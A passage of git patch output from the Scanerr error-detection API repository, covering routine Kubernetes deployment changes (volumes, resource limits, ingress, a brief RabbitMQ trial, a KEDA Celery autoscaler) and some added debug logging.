+  capacity:
+    storage: 1Gi
+  volumeMode: Filesystem
   accessModes:
-  - ReadWriteOnce
-  resources:
-    requests:
-      storage: 5Gi
-  storageClassName: do-block-storage
-
----
\ No newline at end of file
+    - ReadWriteMany
+  persistentVolumeReclaimPolicy: Retain
\ No newline at end of file
diff --git a/k8s/prod/app-volumeclaim.yaml b/k8s/prod/app-volumeclaim.yaml
new file mode 100644
index 00000000..4fd2cff4
--- /dev/null
+++ b/k8s/prod/app-volumeclaim.yaml
@@ -0,0 +1,11 @@
+apiVersion: v1
+kind: PersistentVolumeClaim
+metadata:
+  name: app-pvc
+spec:
+  accessModes:
+    - ReadWriteMany
+  resources:
+    requests:
+      storage: 1Gi
+  storageClassName: do-block-storage
\ No newline at end of file

From 59904f0f3e10c26ea0b1fa093006a8560d88a68d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 15:05:25 -0500
Subject: [PATCH 0039/1099] notes

---
 README.md               | 2 +-
 k8s/kubernetes-notes.md | 3 ++-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 9b015f17..37ea55a9 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,6 @@
 # Scanerr Server (API repo)
 
-[![Build Status](http://img.shields.io/travis/badges/badgerbadgerbadger.svg?style=flat-square)](https://api.scanerr.io/api/v1/auth)
+[![Build Status](https://github.com/scanerr-io/server/actions/workflows/workflow/badge.svg)](https://api.scanerr.io/)
 
 This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web-apps and sites. This service is fully dockertized for local dev/testing as well as deployed environments. 
 
diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index e3d8e705..d959239d 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -108,7 +108,8 @@ kubectl port-forward service/app-service 8000:8000
 ### 4. Spin up Scanerr deployments and services
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volume.yaml`
+<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volume.yaml` -->
+<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volumeclaim.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
 

From c4273611ea14a61a0c3adc03c889f3973376078a Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 15:22:26 -0500
Subject: [PATCH 0040/1099] increasing resource limits

---
 k8s/prod/app-deployment.yaml    | 10 +++++-----
 k8s/prod/celery-deployment.yaml | 10 +++++-----
 2 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 5ef62e8b..54296114 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -38,11 +38,11 @@ spec:
                 name: app-configs
           resources:
             limits:
-              cpu: "2"
-              memory: "2Gi"
-            requests:
-              cpu: "500m"
-              memory: "500Mi"
+              cpu: "4"
+              memory: "6Gi"
+            # requests:
+            #   cpu: "500m"
+            #   memory: "500Mi"
       #     volumeMounts:
       #      - mountPath: "/app/api/migrations"
       #        name: my-app-volume
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 4e9d7d72..51d102a0 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -26,9 +26,9 @@ spec:
                 name: app-configs
           resources:
             limits:
-              cpu: "2"
-              memory: "2Gi"
-            requests:
-              cpu: "500m"
-              memory: "500Mi"
+              cpu: "4"
+              memory: "6Gi"
+            # requests:
+            #   cpu: "500m"
+            #   memory: "500Mi"
 

From 0fd2641c1ae6608e79e30750d3579d76a1f7a076 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 17:06:54 -0500
Subject: [PATCH 0041/1099] deployed to prod domain

---
 k8s/kubernetes-notes.md         |  2 +-
 k8s/prod/app-deployment.yaml    | 10 +++++-----
 k8s/prod/app-ingress.yaml       | 14 +++++++-------
 k8s/prod/celery-deployment.yaml | 10 +++++-----
 4 files changed, 18 insertions(+), 18 deletions(-)

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index d959239d..4e2c2275 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -102,7 +102,7 @@ kubectl port-forward service/app-service 8000:8000
 
 ### 3. Update ingress-nginx-controler "Service file" with domain
 - add the below annotation 
-- `service.beta.kubernetes.io/do-loadbalancer-hostname: "api2.scanerr.io"`
+- `service.beta.kubernetes.io/do-loadbalancer-hostname: "api.scanerr.io"`
 
 
 ### 4. Spin up Scanerr deployments and services
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 54296114..7ed0a1fc 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # landonr/scanerr-server
+          image: landonr/scanerr-server:eead9ec # <IMAGE> 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
@@ -38,11 +38,11 @@ spec:
                 name: app-configs
           resources:
             limits:
-              cpu: "4"
+              cpu: "6"
               memory: "6Gi"
-            # requests:
-            #   cpu: "500m"
-            #   memory: "500Mi"
+            requests:
+              cpu: "500m"
+              memory: "500Mi"
       #     volumeMounts:
       #      - mountPath: "/app/api/migrations"
       #        name: my-app-volume
diff --git a/k8s/prod/app-ingress.yaml b/k8s/prod/app-ingress.yaml
index b992937d..3e788c57 100644
--- a/k8s/prod/app-ingress.yaml
+++ b/k8s/prod/app-ingress.yaml
@@ -2,17 +2,17 @@ apiVersion: networking.k8s.io/v1
 kind: Ingress
 metadata:
   ## ensure below section is commented out on first creation ##
-  annotations:
-    cert-manager.io/cluster-issuer: letsencrypt-nginx     
+  # annotations:
+  #   cert-manager.io/cluster-issuer: letsencrypt-nginx     
   name: app-ingress
 spec:
   ## ensure below section is comented out on first creation ##
-  tls:
-    - hosts:
-      - api2.scanerr.io
-      secretName: letsencrypt-nginx
+  # tls:
+  #   - hosts:
+  #     - api.scanerr.io
+  #     secretName: letsencrypt-nginx
   rules:
-  - host: api2.scanerr.io
+  - host: api.scanerr.io
     http:
       paths:
       - backend:
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 51d102a0..e69af43f 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # landonr/scanerr-server
+          image: landonr/scanerr-server:eead9ec # <IMAGE> 
           imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:
@@ -26,9 +26,9 @@ spec:
                 name: app-configs
           resources:
             limits:
-              cpu: "4"
+              cpu: "6"
               memory: "6Gi"
-            # requests:
-            #   cpu: "500m"
-            #   memory: "500Mi"
+            requests:
+              cpu: "500m"
+              memory: "500Mi"
 

From 8f2c38c269313233bc651c4a898278b41e4d37ef Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 17:21:55 -0500
Subject: [PATCH 0042/1099] new debugging added

---
 app/api/v1/ops/services.py      | 15 ++++++++++-----
 k8s/prod/app-deployment.yaml    |  2 +-
 k8s/prod/app-volume.yaml        | 11 -----------
 k8s/prod/app-volumeclaim.yaml   | 11 -----------
 k8s/prod/celery-deployment.yaml |  2 +-
 5 files changed, 12 insertions(+), 29 deletions(-)
 delete mode 100644 k8s/prod/app-volume.yaml
 delete mode 100644 k8s/prod/app-volumeclaim.yaml

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index b4b09345..a875bcd9 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -857,7 +857,8 @@ def create_many_scans(request):
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
-            except:
+            except Exception as e:
+                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
@@ -880,7 +881,8 @@ def create_many_scans(request):
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
-            except:
+            except Exception as e:
+                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
@@ -1062,7 +1064,8 @@ def delete_many_scans(request):
                     scan.delete()
                 num_succeeded += 1
                 succeeded.append(str(id))
-            except:
+            except Exception as e:
+                print(e)
                 num_failed += 1
                 failed.append(str(id))
                 this_status = False
@@ -1330,7 +1333,8 @@ def create_many_tests(request):
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
-            except:
+            except Exception as e:
+                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
@@ -1353,7 +1357,8 @@ def create_many_tests(request):
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
-            except:
+            except Exception as e:
+                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 7ed0a1fc..a0c1b583 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: landonr/scanerr-server:eead9ec # <IMAGE> 
+          image: <IMAGE> # landonr/scanerr-server:eead9ec 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
diff --git a/k8s/prod/app-volume.yaml b/k8s/prod/app-volume.yaml
deleted file mode 100644
index ff0dd44d..00000000
--- a/k8s/prod/app-volume.yaml
+++ /dev/null
@@ -1,11 +0,0 @@
-apiVersion: v1
-kind: PersistentVolume
-metadata:
-  name: app-pv
-spec:
-  capacity:
-    storage: 1Gi
-  volumeMode: Filesystem
-  accessModes:
-    - ReadWriteMany
-  persistentVolumeReclaimPolicy: Retain
\ No newline at end of file
diff --git a/k8s/prod/app-volumeclaim.yaml b/k8s/prod/app-volumeclaim.yaml
deleted file mode 100644
index 4fd2cff4..00000000
--- a/k8s/prod/app-volumeclaim.yaml
+++ /dev/null
@@ -1,11 +0,0 @@
-apiVersion: v1
-kind: PersistentVolumeClaim
-metadata:
-  name: app-pvc
-spec:
-  accessModes:
-    - ReadWriteMany
-  resources:
-    requests:
-      storage: 1Gi
-  storageClassName: do-block-storage
\ No newline at end of file
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index e69af43f..002844b4 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: landonr/scanerr-server:eead9ec # <IMAGE> 
+          image: <IMAGE> # landonr/scanerr-server:eead9ec 
           imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:

From d2eb7ab5fbc2f8414deba66b0e838884b6dc5d43 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 17:41:27 -0500
Subject: [PATCH 0043/1099] fixed bulk test creation

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index a875bcd9..188b27bb 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1249,7 +1249,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
         
         if delay == True:
             create_test_bg.delay(
-                page_id=page.id,
+                page_id=p.id,
                 test_id=test.id,
                 configs=configs,
                 type=test_type,

From 97f52401a3a4d6f88dcfcdbd9502b52a3217b9c7 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 20:20:00 -0500
Subject: [PATCH 0044/1099] testing more replicas for celery

---
 k8s/prod/celery-deployment.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 002844b4..e1e284ce 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -5,7 +5,7 @@ metadata:
   labels:
     deployment: celery
 spec:
-  replicas: 1
+  replicas: 2
   selector:
     matchLabels:
       app: celery-deployment

From 31288cedeba294468e26ca6d27a257cf035c1761 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 23 Jul 2023 13:38:12 -0500
Subject: [PATCH 0045/1099] trying rabbit mq

---
 app/scanerr/settings.py           |  9 ++++--
 k8s/kubernetes-notes.md           |  2 ++
 k8s/prod/rabbitmq-deployment.yaml | 50 +++++++++++++++++++++++++++++++
 3 files changed, 58 insertions(+), 3 deletions(-)
 create mode 100644 k8s/prod/rabbitmq-deployment.yaml

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 1d4b50c8..d16defa1 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -191,8 +191,12 @@
 
 
 # Redis and Celery Conf
-CELERY_BROKER_URL = "redis://redis:6379"
-CELERY_RESULT_BACKEND = "redis://redis:6379"
+# CELERY_BROKER_URL = "redis://redis:6379"
+# CELERY_RESULT_BACKEND = "redis://redis:6379"
+
+# RabbitMQ and Celery Conf
+CELERY_BROKER_URL = "rabbitmp://rabbitmp:5672"
+CELERY_RESULT_BACKEND = "rabbitmp://rabbitmp:5672"
 
 
 
@@ -217,7 +221,6 @@
 AUTOMATION_TEMPLATE = os.environ.get('AUTOMATION_TEMPLATE')
 
 
-
 # google oAuth2
 GOOGLE_OAUTH2_CLIENT_ID = os.environ.get('GOOGLE_OAUTH2_CLIENT_ID')
 GOOGLE_OAUTH2_CLIENT_SECRET = os.environ.get('GOOGLE_OAUTH2_CLIENT_SECRET')
diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 4e2c2275..8cffcaab 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -108,6 +108,8 @@ kubectl port-forward service/app-service 8000:8000
 ### 4. Spin up Scanerr deployments and services
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
+  
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/rabbitmq-deployment.yaml`
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volume.yaml` -->
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volumeclaim.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
diff --git a/k8s/prod/rabbitmq-deployment.yaml b/k8s/prod/rabbitmq-deployment.yaml
new file mode 100644
index 00000000..0795c6ec
--- /dev/null
+++ b/k8s/prod/rabbitmq-deployment.yaml
@@ -0,0 +1,50 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    service: rabbitmq
+  name: rabbitmq
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      service: rabbitmq
+  strategy: {}
+  template:
+    metadata:
+      labels:
+        service: rabbitmq
+    spec:
+      restartPolicy: Always
+      containers:
+        - image: rabbitmq:alpine
+          name: rabbitmq
+          ports:
+            - containerPort: 5672
+          resources: 
+            limits:
+              cpu: "250m"
+              memory: "250Mi"
+            requests:
+              cpu: "100m"
+              memory: "100Mi"
+status: {}
+
+
+
+---
+
+apiVersion: v1
+kind: Service
+metadata:  
+  labels:
+    service: rabbitmq
+  name: rabbitmq
+spec:
+  ports:
+    - name: "5672"
+      port: 5672
+      targetPort: 5672
+  selector:
+    service: rabbitmq
+

From e34ee964ae8f49879041108ae924e5769f2359da Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 23 Jul 2023 13:48:32 -0500
Subject: [PATCH 0046/1099] testing rabbit

---
 app/scanerr/settings.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index d16defa1..77bca5f0 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -195,8 +195,8 @@
 # CELERY_RESULT_BACKEND = "redis://redis:6379"
 
 # RabbitMQ and Celery Conf
-CELERY_BROKER_URL = "rabbitmp://rabbitmp:5672"
-CELERY_RESULT_BACKEND = "rabbitmp://rabbitmp:5672"
+CELERY_BROKER_URL = "amqp://rabbitmq:5672"
+CELERY_RESULT_BACKEND = "amqp://rabbitmq:5672"
 
 
 

From f83e4103cc0aa7bdc870909930675b19c5a6528a Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 23 Jul 2023 13:51:16 -0500
Subject: [PATCH 0047/1099] added rabbitmq library for py client support

---
 requirements.txt | 1 +
 1 file changed, 1 insertion(+)

diff --git a/requirements.txt b/requirements.txt
index e546b252..854fe5da 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -24,6 +24,7 @@ humanize==3.7.0
 idna==2.10
 imutils==0.5.4
 kombu==5.1.0
+librabbitmq==2.0.0
 Markdown==3.3.4
 numpy==1.22.3
 opencv-python==4.5.5.64

From 75cfe196aa7af605079d0ac43aeb758a4408ef3b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 23 Jul 2023 14:17:28 -0500
Subject: [PATCH 0048/1099] new rpc from amqp

---
 app/scanerr/settings.py      |  4 ++--
 k8s/prod/keda-deplyment.yaml | 29 +++++++++++++++++++++++++++++
 2 files changed, 31 insertions(+), 2 deletions(-)
 create mode 100644 k8s/prod/keda-deplyment.yaml

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 77bca5f0..97510869 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -195,8 +195,8 @@
 # CELERY_RESULT_BACKEND = "redis://redis:6379"
 
 # RabbitMQ and Celery Conf
-CELERY_BROKER_URL = "amqp://rabbitmq:5672"
-CELERY_RESULT_BACKEND = "amqp://rabbitmq:5672"
+CELERY_BROKER_URL = "rpc://rabbitmq:5672"
+CELERY_RESULT_BACKEND = "rpc://rabbitmq:5672"
 
 
 
diff --git a/k8s/prod/keda-deplyment.yaml b/k8s/prod/keda-deplyment.yaml
new file mode 100644
index 00000000..02fd49db
--- /dev/null
+++ b/k8s/prod/keda-deplyment.yaml
@@ -0,0 +1,29 @@
+apiVersion: keda.sh/v1alpha1
+kind: ScaledObject
+metadata:
+  name: celery-worker-scaler
+  namespace: celery-workers
+spec:
+  scaleTargetRef:
+    name: celery-worker
+  pollingInterval: 3
+  minReplicaCount: 2
+  maxReplicaCount: 30
+  triggers:
+    - type: rabbitmq
+      metadata:
+        queueName: celery
+        queueLength: "10"
+      authenticationRef:
+        name: rabbitmq-worker-trigger
+---
+apiVersion: keda.sh/v1alpha1
+kind: TriggerAuthentication
+metadata:
+  name: rabbitmq-worker-trigger
+  namespace: celery-workers
+spec:
+  secretTargetRef:
+    - parameter: host
+      name: celery-workers-secret
+      key: CELERY_BROKER_URL
\ No newline at end of file

From d1f07d8e517ae8d3a9900696e65678084befb7c8 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 23 Jul 2023 14:28:09 -0500
Subject: [PATCH 0049/1099] removed rabbitmq pipy dep

---
 k8s/kubernetes-notes.md | 2 +-
 requirements.txt        | 1 -
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 8cffcaab..f0f48aab 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -108,7 +108,7 @@ kubectl port-forward service/app-service 8000:8000
 ### 4. Spin up Scanerr deployments and services
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
-  
+- `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/rabbitmq-deployment.yaml`
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volume.yaml` -->
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volumeclaim.yaml` -->
diff --git a/requirements.txt b/requirements.txt
index 854fe5da..e546b252 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -24,7 +24,6 @@ humanize==3.7.0
 idna==2.10
 imutils==0.5.4
 kombu==5.1.0
-librabbitmq==2.0.0
 Markdown==3.3.4
 numpy==1.22.3
 opencv-python==4.5.5.64

From 4c98519767910610ee752032771976363a8f0f7f Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 23 Jul 2023 14:46:00 -0500
Subject: [PATCH 0050/1099] back to redis

---
 app/scanerr/settings.py      |  8 ++++----
 k8s/kubernetes-notes.md      |  2 +-
 k8s/prod/keda-deplyment.yaml | 29 ++++++++++-------------------
 3 files changed, 15 insertions(+), 24 deletions(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 97510869..2afb3663 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -191,12 +191,12 @@
 
 
 # Redis and Celery Conf
-# CELERY_BROKER_URL = "redis://redis:6379"
-# CELERY_RESULT_BACKEND = "redis://redis:6379"
+CELERY_BROKER_URL = "redis://redis:6379"
+CELERY_RESULT_BACKEND = "redis://redis:6379"
 
 # RabbitMQ and Celery Conf
-CELERY_BROKER_URL = "rpc://rabbitmq:5672"
-CELERY_RESULT_BACKEND = "rpc://rabbitmq:5672"
+# CELERY_BROKER_URL = "rpc://rabbitmq:5672"
+# CELERY_RESULT_BACKEND = "rpc://rabbitmq:5672"
 
 
 
diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index f0f48aab..40db6f91 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -109,7 +109,7 @@ kubectl port-forward service/app-service 8000:8000
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/rabbitmq-deployment.yaml`
+<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/rabbitmq-deployment.yaml` -->
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volume.yaml` -->
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volumeclaim.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
diff --git a/k8s/prod/keda-deplyment.yaml b/k8s/prod/keda-deplyment.yaml
index 02fd49db..de2f1d2c 100644
--- a/k8s/prod/keda-deplyment.yaml
+++ b/k8s/prod/keda-deplyment.yaml
@@ -1,29 +1,20 @@
 apiVersion: keda.sh/v1alpha1
 kind: ScaledObject
 metadata:
-  name: celery-worker-scaler
-  namespace: celery-workers
+  name: celery-scaler
 spec:
   scaleTargetRef:
-    name: celery-worker
+    name: celery-deployment
   pollingInterval: 3
   minReplicaCount: 2
   maxReplicaCount: 30
   triggers:
-    - type: rabbitmq
+    - type: redis
       metadata:
-        queueName: celery
-        queueLength: "10"
-      authenticationRef:
-        name: rabbitmq-worker-trigger
----
-apiVersion: keda.sh/v1alpha1
-kind: TriggerAuthentication
-metadata:
-  name: rabbitmq-worker-trigger
-  namespace: celery-workers
-spec:
-  secretTargetRef:
-    - parameter: host
-      name: celery-workers-secret
-      key: CELERY_BROKER_URL
\ No newline at end of file
+        address: redis:6379 # Format must be host:port
+        listName: celery # Required
+        listLength: "5" # Required
+        activationListLength: "5" # optional
+        enableTLS: "false" # optional
+        unsafeSsl: "false" # optional
+        databaseIndex: "0" # optional

From a98111f062d47ed8d51c79daa4b0950cc048c92b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 23 Jul 2023 14:49:50 -0500
Subject: [PATCH 0051/1099] removed rabbitmq

---
 k8s/kubernetes-notes.md | 1 -
 1 file changed, 1 deletion(-)

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 40db6f91..427e85b8 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -109,7 +109,6 @@ kubectl port-forward service/app-service 8000:8000
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
-<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/rabbitmq-deployment.yaml` -->
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volume.yaml` -->
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volumeclaim.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`

From d95697182dee2f93d4a92e045511a995ad16d599 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 23 Jul 2023 22:09:30 -0500
Subject: [PATCH 0052/1099] Added celery auto scaler

---
 k8s/kubernetes-notes.md                       |  1 +
 ...-deplyment.yaml => celery-autoscaler.yaml} |  3 +-
 k8s/prod/celery-deployment.yaml               |  6 +--
 k8s/prod/rabbitmq-deployment.yaml             | 50 -------------------
 4 files changed, 6 insertions(+), 54 deletions(-)
 rename k8s/prod/{keda-deplyment.yaml => celery-autoscaler.yaml} (83%)
 delete mode 100644 k8s/prod/rabbitmq-deployment.yaml

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 427e85b8..6a79b203 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -113,6 +113,7 @@ kubectl port-forward service/app-service 8000:8000
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volumeclaim.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-autoscaler.yaml`
 
 
 ### 5. Add app Ingress
diff --git a/k8s/prod/keda-deplyment.yaml b/k8s/prod/celery-autoscaler.yaml
similarity index 83%
rename from k8s/prod/keda-deplyment.yaml
rename to k8s/prod/celery-autoscaler.yaml
index de2f1d2c..fd908062 100644
--- a/k8s/prod/keda-deplyment.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -11,10 +11,11 @@ spec:
   triggers:
     - type: redis
       metadata:
-        address: redis:6379 # Format must be host:port
+        address: redis.default.svc.cluster.local:6379  # Format must be host:port redis:6379
         listName: celery # Required
         listLength: "5" # Required
         activationListLength: "5" # optional
         enableTLS: "false" # optional
         unsafeSsl: "false" # optional
         databaseIndex: "0" # optional
+
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index e1e284ce..095cac37 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # landonr/scanerr-server:eead9ec 
+          image:  <IMAGE> # landonr/scanerr-server:25a7e15 #
           imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:
@@ -26,8 +26,8 @@ spec:
                 name: app-configs
           resources:
             limits:
-              cpu: "6"
-              memory: "6Gi"
+              cpu: "2"
+              memory: "4Gi"
             requests:
               cpu: "500m"
               memory: "500Mi"
diff --git a/k8s/prod/rabbitmq-deployment.yaml b/k8s/prod/rabbitmq-deployment.yaml
deleted file mode 100644
index 0795c6ec..00000000
--- a/k8s/prod/rabbitmq-deployment.yaml
+++ /dev/null
@@ -1,50 +0,0 @@
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    service: rabbitmq
-  name: rabbitmq
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      service: rabbitmq
-  strategy: {}
-  template:
-    metadata:
-      labels:
-        service: rabbitmq
